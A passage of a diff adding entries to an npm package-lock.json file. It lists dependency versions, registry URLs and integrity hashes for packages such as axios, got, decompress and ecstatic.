"sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "archive-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/archive-type/-/archive-type-4.0.0.tgz", + "integrity": "sha1-+S5yIzBW38aWlHJ0nCZ72wRrHXA=", + "requires": { + "file-type": "^4.2.0" + }, + "dependencies": { + "file-type": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-4.4.0.tgz", + "integrity": "sha1-G2AOX8ofvcboDApwxxyNul95BsU=" + } + } + }, + "asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" + }, + "async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "requires": { + "lodash": "^4.17.14" + } + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" + }, + "aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==" + }, + "axios": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz", + "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==", + "requires": { + "follow-redirects": "^1.10.0" + } + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "basic-auth": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-1.1.0.tgz", + "integrity": "sha1-RSIe5Cn37h5QNb4/UVM/HN/SmIQ=" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bl": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz", + "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==", + "requires": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", + "requires": { + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" + } + }, + "buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==" + }, + "buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=" + }, + "buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=" + }, + "cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==" + }, + "cacheable-request": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-2.1.4.tgz", + "integrity": "sha1-DYCIAbY0KtM8kd+dC0TcCbkeXD0=", + "requires": { + "clone-response": "1.0.2", + "get-stream": "3.0.0", + "http-cache-semantics": "3.8.1", + "keyv": "3.0.0", + "lowercase-keys": "1.0.0", + "normalize-url": "2.0.1", + "responselike": "1.0.2" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "lowercase-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.0.tgz", + "integrity": "sha1-TjNms55/VFfjXxMkvfb4jQv8cwY=" + } + } + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" + }, + "clone-response": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", + "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==" + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "corser": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/corser/-/corser-2.0.1.tgz", + "integrity": "sha1-jtolLsqrWEDc2XXOuQ2TcMgZ/4c=" + }, + "crypto-js": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz", + "integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw==" + }, + "dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "date-fns": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.23.0.tgz", + "integrity": "sha512-5ycpauovVyAk0kXNZz6ZoB9AYMZB4DObse7P3BPWmyEjXNORTI8EJ6X0uaSAq4sCHzM1uajzrkr6HnsLQpxGXA==" + }, + "debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "requires": { + "ms": "^2.1.1" + } + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "decompress": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz", + "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==", + "requires": { + "decompress-tar": "^4.0.0", + "decompress-tarbz2": "^4.0.0", + "decompress-targz": "^4.0.0", + "decompress-unzip": "^4.0.1", + "graceful-fs": "^4.1.10", + "make-dir": "^1.0.0", + "pify": "^2.3.0", + "strip-dirs": "^2.0.0" + }, + "dependencies": { + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "requires": { + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "decompress-tar": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz", + "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==", + "requires": { + "file-type": "^5.2.0", + "is-stream": "^1.1.0", + "tar-stream": "^1.5.2" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-tarbz2": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz", + "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==", + "requires": { + "decompress-tar": "^4.1.0", + "file-type": "^6.1.0", + "is-stream": "^1.1.0", + "seek-bzip": "^1.0.5", + "unbzip2-stream": "^1.0.9" + }, + "dependencies": { + "file-type": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz", + "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==" + } + } + }, + "decompress-targz": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz", + "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==", + "requires": { + "decompress-tar": "^4.1.1", + "file-type": "^5.2.0", + "is-stream": "^1.1.0" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-unzip": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz", + "integrity": "sha1-3qrM39FK6vhVePczroIQ+bSEj2k=", + "requires": { + "file-type": "^3.8.0", + "get-stream": "^2.2.0", + "pify": "^2.3.0", + "yauzl": "^2.4.2" + }, + "dependencies": { + "file-type": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz", + "integrity": "sha1-JXoHg4TR24CHvESdEH1SpSZyuek=" + }, + "get-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz", + "integrity": "sha1-Xzj5PzRgCWZu4BUKBUFn+Rvdld4=", + "requires": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==" + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==" + }, + "download": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/download/-/download-8.0.0.tgz", + "integrity": "sha512-ASRY5QhDk7FK+XrQtQyvhpDKanLluEEQtWl/J7Lxuf/b+i8RYh997QeXvL85xitrmRKVlx9c7eTrcRdq2GS4eA==", + "requires": { + "archive-type": "^4.0.0", + "content-disposition": "^0.5.2", + "decompress": "^4.2.1", + "ext-name": "^5.0.0", + "file-type": "^11.1.0", + "filenamify": "^3.0.0", + "get-stream": "^4.1.0", + "got": "^8.3.1", + "make-dir": "^2.1.0", + "p-event": "^2.1.0", + "pify": "^4.0.1" + }, + "dependencies": { + "got": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/got/-/got-8.3.2.tgz", + "integrity": "sha512-qjUJ5U/hawxosMryILofZCkm3C84PLJS/0grRIpjAwu+Lkxxj5cxeCU25BG0/3mDSpXKTyZr8oh8wIgLaH0QCw==", + "requires": { + "@sindresorhus/is": "^0.7.0", + "cacheable-request": "^2.1.1", + "decompress-response": "^3.3.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "into-stream": "^3.1.0", + "is-retry-allowed": "^1.1.0", + "isurl": "^1.0.0-alpha5", + "lowercase-keys": "^1.0.0", + "mimic-response": "^1.0.0", + "p-cancelable": "^0.4.0", + "p-timeout": "^2.0.1", + "pify": "^3.0.0", + "safe-buffer": "^5.1.1", + "timed-out": "^4.0.1", + "url-parse-lax": "^3.0.0", + "url-to-options": "^1.0.1" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + } + } + }, + "duplexer3": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", + "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" + }, + "ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "ecstatic": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/ecstatic/-/ecstatic-3.3.2.tgz", + "integrity": "sha512-fLf9l1hnwrHI2xn9mEDT7KIi22UDqA2jaCwyCbSUJh9a1V+LEUSL/JO/6TIz/QyuBURWUHrFL5Kg2TtO1bkkog==", + "requires": { + "he": "^1.1.1", + "mime": "^1.6.0", + "minimist": "^1.1.0", + "url-join": "^2.0.5" + } + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" + }, + "eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "ext-list": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/ext-list/-/ext-list-2.2.2.tgz", + "integrity": "sha512-u+SQgsubraE6zItfVA0tBuCBhfU9ogSRnsvygI7wht9TS510oLkBRXBsqopeUG/GBOIQyKZO9wjTqIu/sf5zFA==", + "requires": { + "mime-db": "^1.28.0" + } + }, + "ext-name": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ext-name/-/ext-name-5.0.0.tgz", + "integrity": "sha512-yblEwXAbGv1VQDmow7s38W77hzAgJAO50ztBLMcUyUBfxv1HC+LGwtiEN+Co6LtlqT/5uwVOxsD4TNIilWhwdQ==", + "requires": { + "ext-list": "^2.0.0", + "sort-keys-length": "^1.0.0" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", + "requires": { + "pend": "~1.2.0" + } + }, + "file-type": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-11.1.0.tgz", + "integrity": "sha512-rM0UO7Qm9K7TWTtA6AShI/t7H5BPjDeGVDaNyg9BjHAj3PysKy7+8C8D137R88jnR3rFJZQB/tFgydl5sN5m7g==" + }, + "filename-reserved-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz", + "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik=" + }, + "filenamify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-3.0.0.tgz", + "integrity": "sha512-5EFZ//MsvJgXjBAFJ+Bh2YaCTRF/VP1YOmGrgt+KJ4SFRLjI87EIdwLLuT6wQX0I4F9W41xutobzczjsOKlI/g==", + "requires": { + "filename-reserved-regex": "^2.0.0", + "strip-outer": "^1.0.0", + "trim-repeated": "^1.0.0" + } + }, + "follow-redirects": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.3.tgz", + "integrity": "sha512-3MkHxknWMUtb23apkgz/83fDoe+y+qr0TdgacGIA7bew+QLBo3vdgEN2xEsuXNivpFy4CyDhBBZnNZOtalmenw==" + }, + "forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" + }, + "form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "requires": { + "pump": "^3.0.0" + } + }, + "getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "got": { + "version": "11.8.2", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz", + "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==", + "requires": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.1", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "dependencies": { + "@sindresorhus/is": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.1.tgz", + "integrity": "sha512-Qm9hBEBu18wt1PO2flE7LPb30BHMQt1eQgbV76YntdNk73XZGpn3izvGTYxbGgzXKgbCjiia0uxTd3aTNQrY/g==" + }, + "cacheable-request": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.2.tgz", + "integrity": "sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew==", + "requires": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + } + }, + "decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "requires": { + "mimic-response": "^3.1.0" + } + }, + "get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "requires": { + "pump": "^3.0.0" + } + }, + "http-cache-semantics": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", + "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" + }, + "json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "keyv": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", + "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", + 